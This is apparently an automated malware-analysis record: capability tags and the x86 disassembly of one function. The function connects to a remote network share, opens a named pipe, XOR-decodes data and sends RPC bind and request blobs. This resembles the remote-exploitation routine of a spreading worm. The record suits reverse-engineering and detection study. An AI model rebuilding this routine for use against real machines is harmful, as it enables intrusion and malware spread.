Function at 0x409719
Capabilities:
Connect network resource
Initialize winsock library
Read pipe
Write pipe

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1470
call fcn.0040c760
and dword [ebp - 0x1a0], 0
or dword [ebp - 0x41c], 0xffffffff
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x19c], eax
mov eax, dword [sym.imp.USER32.dll_wsprintfA]
mov dword [ebp - 4], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x146c], eax
and dword [ebp - 0x2ec], 0
movzx eax, byte [0x41072a]
cmp eax, 0xf2
jne 0x40976e
xor eax, eax
jmp 0x409a1e
lea eax, [ebp - 0x198]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0x104
push 0
lea eax, [ebp - 0x2e8]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x40dee0
push dword [ebp + 8]
push 0x40deec
lea eax, [ebp - 0x2e8]
push eax
call dword [ebp - 4]
add esp, 0x10
push 0x104
push 0
lea eax, [ebp - 0x3f8]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0
push dword [ebp + 8]
push 0x40deec
lea eax, [ebp - 0x3f8]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
and dword [ebp - 0x414], 0
and dword [ebp - 0x408], 0
lea eax, [ebp - 0x3f8]
mov dword [ebp - 0x404], eax
and dword [ebp - 0x3fc], 0
push 0
push 0x40def8
push 0x40def8
lea eax, [ebp - 0x418]
push eax
call sub.MPR.dll_WNetAddConnection2A
test eax, eax
je 0x409824
xor eax, eax
jmp 0x409a1e
push 0x40
push 0
lea eax, [ebp - 0x1e0]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
call fcn.00402415
push eax
push 0x40de60
lea eax, [ebp - 0x1e0]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
and dword [ebp - 0x1470], 0
jmp 0x409868
mov eax, dword [ebp - 0x1470]
inc eax
mov dword [ebp - 0x1470], eax
cmp dword [ebp - 0x1470], 8
jge 0x409893
mov eax, dword [ebp - 0x1470]
movsx eax, byte [ebp + eax - 0x1e0]
xor eax, 0xf2
mov ecx, dword [ebp - 0x1470]
mov byte [ebp + ecx - 0x1e0], al
jmp 0x40985b
mov eax, dword [ebp - 0x1e0]
mov dword [0x410767], eax
mov eax, dword [ebp - 0x1dc]
mov dword [0x41076b], eax
push 0
push 0
push 3
push 0
push 0
push 0xc0000000
lea eax, [ebp - 0x2e8]
push eax
call dword [ebp - 0x146c]
mov dword [ebp - 0x41c], eax
cmp dword [ebp - 0x41c], 0xffffffff
jne 0x4098e1
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
jmp 0x409a1e
push 0x48
push 0x410380
lea eax, [ebp - 0x1468]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea eax, [ebp - 0x1448]
push eax
push 0x41079c
call dword [sym.imp.RPCRT4.dll_UuidFromStringA]
push 0x41079c
lea eax, [ebp - 0x1448]
push eax
call dword [sym.imp.RPCRT4.dll_UuidToStringA]
push 3
pop eax
mov word [ebp - 0x1438], ax
xor eax, eax
mov word [ebp - 0x1436], ax
push 0x1000
push 0
lea eax, [ebp - 0x1420]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0
lea eax, [ebp - 0x1a0]
push eax
push 0x1000
lea eax, [ebp - 0x1420]
push eax
push 0x48
lea eax, [ebp - 0x1468]
push eax
push dword [ebp - 0x41c]
call dword [sym.imp.KERNEL32.dll_TransactNamedPipe]
push 0x139
push 0x410660
push 0x4104c2
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push 0
lea eax, [ebp - 0x1a0]
push eax
push 0x1000
lea eax, [ebp - 0x1420]
push eax
push 0x1e4
push 0x410478
push dword [ebp - 0x41c]
call dword [sym.imp.KERNEL32.dll_TransactNamedPipe]
push 0
lea eax, [ebp - 0x1a0]
push eax
push 0x1000
lea eax, [ebp - 0x1420]
push eax
push 0xa4
push 0x4103d0
push dword [ebp - 0x41c]
call dword [sym.imp.KERNEL32.dll_TransactNamedPipe]
push 0x40defc
push 0x40df14
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x2ec], eax
push dword [ebp - 0x41c]
call dword [ebp - 0x19c]
push 1
push 1
lea eax, [ebp - 0x3f8]
push eax
call dword [ebp - 0x2ec]
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
inc eax
leave
ret 4